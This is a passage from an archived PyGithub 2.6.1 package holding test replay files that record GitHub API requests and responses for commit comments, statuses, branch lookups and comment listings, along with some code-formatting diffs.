self.__name )\n return self.__name\n \n def __initAttributes( self ):\n self.__date = None\n self.__email = None\n self.__name = None\n \n- def __completeIfNeeded( self, testedAttribute ):\n- if not self.__completed and testedAttribute is None:\n- self.__complete()\n-\n- # @todo Do not generate __complete if type has no url attribute\n- def __complete( self ):\n- status, headers, data = self.__requester.request(\n- \"GET\",\n- self.__url,\n- None,\n- None\n- )\n- self.__useAttributes( data )\n- self.__completed = True\n-\n def __useAttributes( self, attributes ):\n #@todo No need to check if attribute is in attributes when attribute is mandatory\n if \"date\" in attributes and attributes[ \"date\" ] is not None:"}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Commit.testCreateComment.txt0000644000175100001660000000257014756101563023600 0ustar00runnerdockerhttps POST api.github.com None /repos/jacquev6/PyGithub/commits/1292bf0e22c796e91cc3d6e24b544aece8c21f2a/comments {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"body": "Comment created by PyGithub"} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4982'), ('content-length', '714'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"bd72e3550c9b90814f0be2b54ab2cc8e"'), ('date', 'Tue, 22 May 2012 18:40:18 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/comments/1361949')] {"updated_at":"2012-05-22T18:40:18Z","position":null,"body":"Comment created by PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1361949","commit_id":"1292bf0e22c796e91cc3d6e24b544aece8c21f2a","created_at":"2012-05-22T18:40:18Z","path":null,"line":null,"user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146},"id":1361949,"html_url":"https://github.com/jacquev6/PyGithub/commit/1292bf0e22c796e91cc3d6e24b544aece8c21f2a#commitcomment-1361949"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Commit.testCreateCommentOnFileLine.txt0000644000175100001660000000277014756101563025507 0ustar00runnerdockerhttps POST api.github.com None /repos/jacquev6/PyGithub/commits/1292bf0e22c796e91cc3d6e24b544aece8c21f2a/comments {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"body": "Comment created by PyGithub", "path": "codegen/templates/GithubObject.MethodBody.UseResult.py", "line": 26} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4970'), ('content-length', '764'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d2cb361ce6c53a0fc986e74f8547088f"'), ('date', 'Tue, 22 May 2012 18:49:34 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/comments/1362000')] {"updated_at":"2012-05-22T18:49:34Z","position":null,"body":"Comment created by PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1362000","commit_id":"1292bf0e22c796e91cc3d6e24b544aece8c21f2a","created_at":"2012-05-22T18:49:34Z","path":"codegen/templates/GithubObject.MethodBody.UseResult.py","line":26,"user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146},"id":1362000,"html_url":"https://github.com/jacquev6/PyGithub/commit/1292bf0e22c796e91cc3d6e24b544aece8c21f2a#commitcomment-1362000"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Commit.testCreateCommentOnFilePosition.txt0000644000175100001660000000300414756101563026413 0ustar00runnerdockerhttps POST api.github.com None /repos/jacquev6/PyGithub/commits/1292bf0e22c796e91cc3d6e24b544aece8c21f2a/comments {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"body": "Comment also created by PyGithub", "path": "codegen/templates/GithubObject.MethodBody.UseResult.py", "position": 3} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4966'), ('content-length', '768'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"b3d062ed01b92c31d072c7177113c0b1"'), ('date', 'Tue, 22 May 2012 18:50:02 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/comments/1362001')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1362001","path":"codegen/templates/GithubObject.MethodBody.UseResult.py","body":"Comment also created by PyGithub","html_url":"https://github.com/jacquev6/PyGithub/commit/1292bf0e22c796e91cc3d6e24b544aece8c21f2a#commitcomment-1362001","created_at":"2012-05-22T18:50:02Z","commit_id":"1292bf0e22c796e91cc3d6e24b544aece8c21f2a","position":3,"updated_at":"2012-05-22T18:50:02Z","id":1362001,"line":null,"user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Commit.testCreateStatusWithAllParameters.txt0000644000175100001660000000277614756101563027002 0ustar00runnerdockerhttps POST api.github.com None /repos/jacquev6/PyGithub/statuses/1292bf0e22c796e91cc3d6e24b544aece8c21f2a {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"state": "success", "target_url": "https://github.com/jacquev6/PyGithub/issues/67", "description": "Status successfully created by PyGithub"} 201 [('status', '201 Created'), ('content-length', '603'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('x-ratelimit-remaining', '4975'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('etag', '"06233b816702bedc54a6f68734a910bc"'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/statuses/277040'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Sat, 08 Sep 2012 11:30:56 GMT'), ('content-type', 'application/json; charset=utf-8')] {"creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"state":"success","updated_at":"2012-09-08T11:30:56Z","target_url":"https://github.com/jacquev6/PyGithub/issues/67","url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/277040","description":"Status successfully created by PyGithub","id":277040,"created_at":"2012-09-08T11:30:56Z"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Commit.testCreateStatusWithoutOptionalParameters.txt0000644000175100001660000000246314756101563030600 0ustar00runnerdockerhttps POST api.github.com None /repos/jacquev6/PyGithub/statuses/1292bf0e22c796e91cc3d6e24b544aece8c21f2a {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"state": "pending"} 201 [('status', '201 Created'), ('content-length', '523'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-remaining', '4979'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/statuses/277031'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Sat, 08 Sep 2012 11:27:12 GMT'), ('etag', '"7e28427673d50844a69c0871e5e39a69"'), ('content-type', 'application/json; charset=utf-8')] {"description":null,"created_at":"2012-09-08T11:27:12Z","target_url":null,"state":"pending","updated_at":"2012-09-08T11:27:12Z","url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/277031","id":277031,"creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","id":327146}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Commit.testGetBranchesWhereHead.txt0000644000175100001660000004447414756101563025025 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 22 Nov 2024 17:49:09 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"3b6c36f50d6e093db7fb1c9b925c4e9f4fc0995880d09205fd79b58e2f0f70d0"'), ('Last-Modified', 'Fri, 22 Nov 2024 11:14:22 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Server', 'github.com'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '48'), ('X-RateLimit-Reset', '1732300847'), ('X-RateLimit-Resource', 'core'), ('X-RateLimit-Used', '12'), ('Accept-Ranges', 'bytes'), ('Content-Length', '1461'), ('X-GitHub-Request-Id', 'D400:184C4C:27A457A:2818963:6740C416')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2024-11-22T11:14:22Z","pushed_at":"2024-11-06T20:49:20Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":16447,"stargazers_count":7048,"watchers_count":7048,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1786,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":351,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1786,"open_issues":351,"watchers":7048,"default_branch":"main","temp_clone_token":null,"custom_properties":{},"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"network_count":1786,"subscribers_count":111} https GET api.github.com None /repos/PyGithub/PyGithub/commits/0791cc7b1a706ab5d7c607ddff35de4d486ba3e9 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 22 Nov 2024 17:49:10 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"d881425df5536b0fb95213928ad35316ca7f4bc4bc8759bbca66d904a071e73b"'), ('Last-Modified', 'Mon, 28 Aug 2023 18:27:45 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Server', 'github.com'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '47'), ('X-RateLimit-Reset', '1732300847'), ('X-RateLimit-Resource', 'core'), ('X-RateLimit-Used', '13'), ('Accept-Ranges', 'bytes'), ('Content-Length', '1923'), ('X-GitHub-Request-Id', 'D406:D7387:27C39FB:28367CF:6740C416')] {"sha":"0791cc7b1a706ab5d7c607ddff35de4d486ba3e9","node_id":"C_kwDOADYVqtoAKDA3OTFjYzdiMWE3MDZhYjVkN2M2MDdkZGZmMzVkZTRkNDg2YmEzZTk","commit":{"author":{"name":"Enrico Minack","email":"github@enrico.minack.dev","date":"2023-08-28T18:27:45Z"},"committer":{"name":"Enrico Minack","email":"github@enrico.minack.dev","date":"2023-08-28T18:27:45Z"},"message":"Fixing lint errors in release branch","tree":{"sha":"29bb34c69f42d69d0e13d5951a47b32ac4bea130","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/29bb34c69f42d69d0e13d5951a47b32ac4bea130"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/0791cc7b1a706ab5d7c607ddff35de4d486ba3e9","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null,"verified_at":null}},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/0791cc7b1a706ab5d7c607ddff35de4d486ba3e9","html_url":"https://github.com/PyGithub/PyGithub/commit/0791cc7b1a706ab5d7c607ddff35de4d486ba3e9","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/0791cc7b1a706ab5d7c607ddff35de4d486ba3e9/comments","author":{"login":"EnricoMi","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/EnricoMi","html_url":"https://github.com/EnricoMi","followers_url":"https://api.github.com/users/EnricoMi/followers","following_url":"https://api.github.com/users/EnricoMi/following{/other_user}","gists_url":"https://api.github.com/users/EnricoMi/gists{/gist_id}","starred_url":"https://api.github.com/users/EnricoMi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/EnricoMi/subscriptions","organizations_url":"https://api.github.com/users/EnricoMi/orgs","repos_url":"https://api.github.com/users/EnricoMi/repos","events_url":"https://api.github.com/users/EnricoMi/events{/privacy}","received_events_url":"https://api.github.com/users/EnricoMi/received_events","type":"User","user_view_type":"public","site_admin":false},"committer":{"login":"EnricoMi","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/EnricoMi","html_url":"https://github.com/EnricoMi","followers_url":"https://api.github.com/users/EnricoMi/followers","following_url":"https://api.github.com/users/EnricoMi/following{/other_user}","gists_url":"https://api.github.com/users/EnricoMi/gists{/gist_id}","starred_url":"https://api.github.com/users/EnricoMi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/EnricoMi/subscriptions","organizations_url":"https://api.github.com/users/EnricoMi/orgs","repos_url":"https://api.github.com/users/EnricoMi/repos","events_url":"https://api.github.com/users/EnricoMi/events{/privacy}","received_events_url":"https://api.github.com/users/EnricoMi/received_events","type":"User","user_view_type":"public","site_admin":false},"parents":[{"sha":"9f7850bf6572ea8572b8b136b8b3d3e09cb38403","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/9f7850bf6572ea8572b8b136b8b3d3e09cb38403","html_url":"https://github.com/PyGithub/PyGithub/commit/9f7850bf6572ea8572b8b136b8b3d3e09cb38403"}],"stats":{"total":23,"additions":17,"deletions":6},"files":[{"sha":"85536829e55af14399a2341f3dc4dc23b44ea5cf","filename":"github/Auth.py","status":"modified","additions":10,"deletions":4,"changes":14,"blob_url":"https://github.com/PyGithub/PyGithub/blob/0791cc7b1a706ab5d7c607ddff35de4d486ba3e9/github%2FAuth.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/0791cc7b1a706ab5d7c607ddff35de4d486ba3e9/github%2FAuth.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FAuth.py?ref=0791cc7b1a706ab5d7c607ddff35de4d486ba3e9","patch":"@@ -83,7 +83,7 @@ def token_type(self) -> str:\n @property\n def token(self) -> str:\n return (\n- base64.b64encode(f\"{self.login}:{self.password}\".encode())\n+ base64.b64encode(f\"{self.username}:{self.password}\".encode())\n .decode(\"utf-8\")\n .replace(\"\\n\", \"\")\n )\n@@ -491,20 +491,26 @@ def username(self) -> str:\n \n @property\n def login(self) -> str:\n- assert self._login is not None, \"Method withRequester(Requester) must be called first\"\n+ assert (\n+ self._login is not None\n+ ), \"Method withRequester(Requester) must be called first\"\n return self._login\n \n @property\n def password(self) -> str:\n- assert self._password is not None, \"Method withRequester(Requester) must be called first\"\n+ assert (\n+ self._password is not None\n+ ), \"Method withRequester(Requester) must be called first\"\n return self._password\n \n def withRequester(self, requester: Requester) -> \"NetrcAuth\":\n super().withRequester(requester)\n \n auth = utils.get_netrc_auth(requester.base_url, raise_errors=True)\n if auth is None:\n- raise RuntimeError(f\"Could not get credentials from netrc for host {requester.hostname}\")\n+ raise RuntimeError(\n+ f\"Could not get credentials from netrc for host {requester.hostname}\"\n+ )\n \n self._login, self._password = auth\n "},{"sha":"37f76d9e16a3cf9556b5995aff1ff0a73f79696d","filename":"github/Requester.py","status":"modified","additions":3,"deletions":1,"changes":4,"blob_url":"https://github.com/PyGithub/PyGithub/blob/0791cc7b1a706ab5d7c607ddff35de4d486ba3e9/github%2FRequester.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/0791cc7b1a706ab5d7c607ddff35de4d486ba3e9/github%2FRequester.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FRequester.py?ref=0791cc7b1a706ab5d7c607ddff35de4d486ba3e9","patch":"@@ -258,7 +258,9 @@ class Requester:\n _frameBuffer: List[Any]\n \n @staticmethod\n- def noopAuth(request: requests.models.PreparedRequest) -> requests.models.PreparedRequest:\n+ def noopAuth(\n+ request: requests.models.PreparedRequest,\n+ ) -> requests.models.PreparedRequest:\n return request\n \n @classmethod"},{"sha":"d895066ee05a1f1fdddf20960d41af82b5807497","filename":"tests/Authentication.py","status":"modified","additions":4,"deletions":1,"changes":5,"blob_url":"https://github.com/PyGithub/PyGithub/blob/0791cc7b1a706ab5d7c607ddff35de4d486ba3e9/tests%2FAuthentication.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/0791cc7b1a706ab5d7c607ddff35de4d486ba3e9/tests%2FAuthentication.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FAuthentication.py?ref=0791cc7b1a706ab5d7c607ddff35de4d486ba3e9","patch":"@@ -220,7 +220,10 @@ def testNetrcAuthFails(self):\n with mock.patch.dict(os.environ, {\"NETRC\": tmp.name}):\n with self.assertRaises(RuntimeError) as exc:\n github.Github(auth=auth)\n- self.assertEqual(exc.exception.args, (\"Could not get credentials from netrc for host api.github.com\",))\n+ self.assertEqual(\n+ exc.exception.args,\n+ (\"Could not get credentials from netrc for host api.github.com\",),\n+ )\n \n def testCreateJWT(self):\n auth = github.Auth.AppAuth(APP_ID, PRIVATE_KEY)"}]} https GET api.github.com None /repos/PyGithub/PyGithub/commits/0791cc7b1a706ab5d7c607ddff35de4d486ba3e9/branches-where-head {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 22 Nov 2024 17:49:10 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"717c5c48f3e422fc79179d2410bef733347be76673684d8432ed5721f118ca40"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Server', 'github.com'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '46'), ('X-RateLimit-Reset', '1732300847'), ('X-RateLimit-Resource', 'core'), ('X-RateLimit-Used', '14'), ('Accept-Ranges', 'bytes'), ('Content-Length', '160'), ('X-GitHub-Request-Id', 'D414:C227F:25E58EB:2658690:6740C416')] [{"name":"release-v2-0","commit":{"sha":"0791cc7b1a706ab5d7c607ddff35de4d486ba3e9","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/0791cc7b1a706ab5d7c607ddff35de4d486ba3e9"},"protected":false}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Commit.testGetComments.txt0000644000175100001660000001136314756101563023277 0ustar00runnerdockerhttps GET api.github.com None /repos/jacquev6/PyGithub/commits/1292bf0e22c796e91cc3d6e24b544aece8c21f2a/comments {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('content-length', '4322'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"9000a379c4d5eba3527a002d2bbc2e0c"'), ('date', 'Fri, 18 May 2012 20:12:18 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-18T08:46:09Z","position":null,"body":"probably a noob question: does this completion refer to autocompletion in IDE's/editors? \nI have observed that this is pretty erratic sometimes. I'm using PyDev+Eclipse.\nFor example, in the tutorial from the readme, `g.get_u` gets autocompleted correctly, but `g.get_user().get_r` (or any method or attribute applicable to NamedUsers/AuthenticatedUser, really) does not show autocompletion to `g.get_user().get_repo()`. Is that by design? It makes exploring the library/API a bit cumbersome. ","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1347033","commit_id":"1292bf0e22c796e91cc3d6e24b544aece8c21f2a","html_url":"https://github.com/jacquev6/PyGithub/commit/1292bf0e22c796e91cc3d6e24b544aece8c21f2a#commitcomment-1347033","created_at":"2012-05-18T08:46:09Z","path":null,"line":null,"user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"id":1347033},{"updated_at":"2012-05-18T09:03:40Z","position":null,"body":"No, it has nothing to do with auto-completion in IDEs :D\n\nGithub API v3 sends only the main part of objects in reply to some requests. So, if the user wants an attribute that has not been received yet, I have to do another request to complete the object.\n\nYet, in version 1.0 (see the milesone), my library will be much more readable for IDEs and their auto-completion mechanisms, because I am giving up the meta-description that I used until 0.6, and I'm now generating much more traditional code, that you will be able to explore as if it was written manually.\n\nIf you want to take the time to open an issue about auto-completion in IDEs, I'll deal with it in milestone 1.0.\n\nThanks 